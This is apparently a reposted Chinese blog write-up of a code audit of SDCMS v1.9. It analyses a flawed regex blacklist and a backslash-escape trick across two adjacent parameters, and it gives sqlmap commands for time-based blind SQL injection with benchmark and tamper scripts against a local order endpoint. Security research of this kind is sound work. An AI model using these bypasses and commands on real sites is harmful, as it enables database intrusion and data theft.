sdcms代码审计之sql注入
生活随笔
收集整理的這篇文章主要介紹了
sdcms代码审计之sql注入
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
1.漏洞注入點分析(黑名單 )
2.注入payload構造(雙參數構造,sqlmap繞過)
注冊賬號后發現網站有在線留言功能,可以查看能否注入
但是沒有兩個連在一起的可控參數,無法利用成功
繼續往下查看
查看F函數
#F函數(get和post) function F($a,$b='') {$a=strtolower($a);if(!strpos($a,'.')){$method='other';}else{list($method,$a)=explode('.',$a,2);}switch ($method){case 'get':$input=$_GET;break;case 'post':$input=$_POST;break;case 'other':switch (REQUEST_METHOD){case 'GET':$input=$_GET;break;case 'POST':$input=$_POST;break;default:return '';break;}break;default:return '';break;}$data=isset($input[$a])?$input[$a]:$b;if(is_string($data)){$data=enhtml(trim($data));//過濾數據}return $data; }分析發現最后傳遞給了data變量
enhtml函數內容
*stripslashes函數去除加的*
查看黑名單函數
復制出來然后看哪些字符可以繞過
function filterExp($a) {return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a; }此處的\過濾對\過濾失效,在php中應該使用\\來過濾\。
我們可以考慮使用\進行sql注入
update,seleep函數被過濾,可以考慮extractvalue()報錯函數,和benchmark()時間盲注函數
雙參數插入繞過單引號注入
條件:兩個參數必須連接在一起
'abc','127.0.0.1' 第一個參數加\ 第二個參數payload 'abc\' 'payload' \'將原來用于閉合的'轉義為字符串單引號。'abc和payload前的'閉合。最后執行payload繼續尋找有兩個連在一起的可控參數
查看路由,進入order函數頁面
但是sdcms.php是加密的,無法查看。可以通過瀏覽器瀏覽頁面來猜測路由
寫入測試代碼測試是否為此模塊
頁面無顯示
查看order方法位于哪個控制器
然后在order方法中寫入測試代碼
根據以上猜測構造url
http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1 http://127.0.0.1/sdcmsv1.9/?c=other&a=order查看order函數猜測可能是一個下單的處理函數,因此登錄后臺添加一個產品再做嘗試
明天繼續
然后用戶登錄頁面點擊訂購抓包
burp進行sql注入嘗試
構造payload
查看insert語句插入了多少字段
使用Burp進行sql報錯嘗試。
sqlmap進行注入
11.txt內容
使用sqlmap
1. python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3 #--technique是指定注入的技術——時間盲注 -v3 顯示詳細信息 2. python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest -v 3 --batch #--test-filter=benchmark自定義payload里邊的檢測函數,由于sleep被過濾,用benchmark #tamper腳本between替換>,繞過htmlspecil函數 #greatest腳本大于號替換為greatest總結
總結
以上是生活随笔為你收集整理的sdcms代码审计之sql注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 嵌入式研发精英培养计划课程体系-曹国辉-
- 下一篇: CentOS7 初次安装记录(一)安装完